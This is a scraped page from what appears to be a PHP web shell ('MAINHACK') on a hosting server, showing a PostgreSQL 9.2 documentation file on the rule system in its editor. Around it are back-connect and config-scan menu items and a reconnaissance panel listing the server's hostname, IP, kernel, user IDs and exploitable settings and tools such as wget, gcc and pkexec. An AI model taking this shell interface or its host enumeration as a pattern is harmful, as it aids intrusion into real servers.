[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: rule-system.html
File is not writable. Editing disabled.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML ><HEAD ><TITLE >The PostgreSQL Rule System</TITLE ><META NAME="GENERATOR" CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK REV="MADE" HREF="mailto:pgsql-docs@postgresql.org"><LINK REL="HOME" TITLE="PostgreSQL 9.2.24 Documentation" HREF="index.html"><LINK REL="UP" TITLE="Overview of PostgreSQL Internals" HREF="overview.html"><LINK REL="PREVIOUS" TITLE="The Parser Stage" HREF="parser-stage.html"><LINK REL="NEXT" TITLE="Planner/Optimizer" HREF="planner-optimizer.html"><LINK REL="STYLESHEET" TYPE="text/css" HREF="stylesheet.css"><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1"><META NAME="creation" CONTENT="2017-11-06T22:43:11"></HEAD ><BODY CLASS="SECT1" ><DIV CLASS="NAVHEADER" ><TABLE SUMMARY="Header navigation table" WIDTH="100%" BORDER="0" CELLPADDING="0" CELLSPACING="0" ><TR ><TH COLSPAN="5" ALIGN="center" VALIGN="bottom" ><A HREF="index.html" >PostgreSQL 9.2.24 Documentation</A ></TH ></TR ><TR ><TD WIDTH="10%" ALIGN="left" VALIGN="top" ><A TITLE="The Parser Stage" HREF="parser-stage.html" ACCESSKEY="P" >Prev</A ></TD ><TD WIDTH="10%" ALIGN="left" VALIGN="top" ><A HREF="overview.html" ACCESSKEY="U" >Up</A ></TD ><TD WIDTH="60%" ALIGN="center" VALIGN="bottom" >Chapter 44. Overview of PostgreSQL Internals</TD ><TD WIDTH="20%" ALIGN="right" VALIGN="top" ><A TITLE="Planner/Optimizer" HREF="planner-optimizer.html" ACCESSKEY="N" >Next</A ></TD ></TR ></TABLE ><HR ALIGN="LEFT" WIDTH="100%"></DIV ><DIV CLASS="SECT1" ><H1 CLASS="SECT1" ><A NAME="RULE-SYSTEM" >44.4. The <SPAN CLASS="PRODUCTNAME" >PostgreSQL</SPAN > Rule System</A ></H1 ><P > <SPAN CLASS="PRODUCTNAME" >PostgreSQL</SPAN > supports a powerful <I CLASS="FIRSTTERM" >rule system</I > for the specification of <I CLASS="FIRSTTERM" >views</I > and ambiguous <I CLASS="FIRSTTERM" >view updates</I >. Originally the <SPAN CLASS="PRODUCTNAME" >PostgreSQL</SPAN > rule system consisted of two implementations: <P ></P ></P><UL ><LI ><P > The first one worked using <I CLASS="FIRSTTERM" >row level</I > processing and was implemented deep in the <I CLASS="FIRSTTERM" >executor</I >. The rule system was called whenever an individual row had been accessed. This implementation was removed in 1995 when the last official release of the <SPAN CLASS="PRODUCTNAME" >Berkeley Postgres</SPAN > project was transformed into <SPAN CLASS="PRODUCTNAME" >Postgres95</SPAN >. </P ></LI ><LI ><P > The second implementation of the rule system is a technique called <I CLASS="FIRSTTERM" >query rewriting</I >. The <I CLASS="FIRSTTERM" >rewrite system</I > is a module that exists between the <I CLASS="FIRSTTERM" >parser stage</I > and the <I CLASS="FIRSTTERM" >planner/optimizer</I >. This technique is still implemented. </P ></LI ></UL ><P> </P ><P > The query rewriter is discussed in some detail in <A HREF="rules.html" >Chapter 37</A >, so there is no need to cover it here. We will only point out that both the input and the output of the rewriter are query trees, that is, there is no change in the representation or level of semantic detail in the trees. Rewriting can be thought of as a form of macro expansion. </P ></DIV ><DIV CLASS="NAVFOOTER" ><HR ALIGN="LEFT" WIDTH="100%"><TABLE SUMMARY="Footer navigation table" WIDTH="100%" BORDER="0" CELLPADDING="0" CELLSPACING="0" ><TR ><TD WIDTH="33%" ALIGN="left" VALIGN="top" ><A HREF="parser-stage.html" ACCESSKEY="P" >Prev</A ></TD ><TD WIDTH="34%" ALIGN="center" VALIGN="top" ><A HREF="index.html" ACCESSKEY="H" >Home</A ></TD ><TD WIDTH="33%" ALIGN="right" VALIGN="top" ><A HREF="planner-optimizer.html" ACCESSKEY="N" >Next</A ></TD ></TR ><TR ><TD WIDTH="33%" ALIGN="left" VALIGN="top" >The Parser Stage</TD ><TD WIDTH="34%" ALIGN="center" VALIGN="top" ><A HREF="overview.html" ACCESSKEY="U" >Up</A ></TD ><TD WIDTH="33%" ALIGN="right" VALIGN="top" >Planner/Optimizer</TD ></TR ></TABLE ></DIV ></BODY ></HTML >
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 727.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A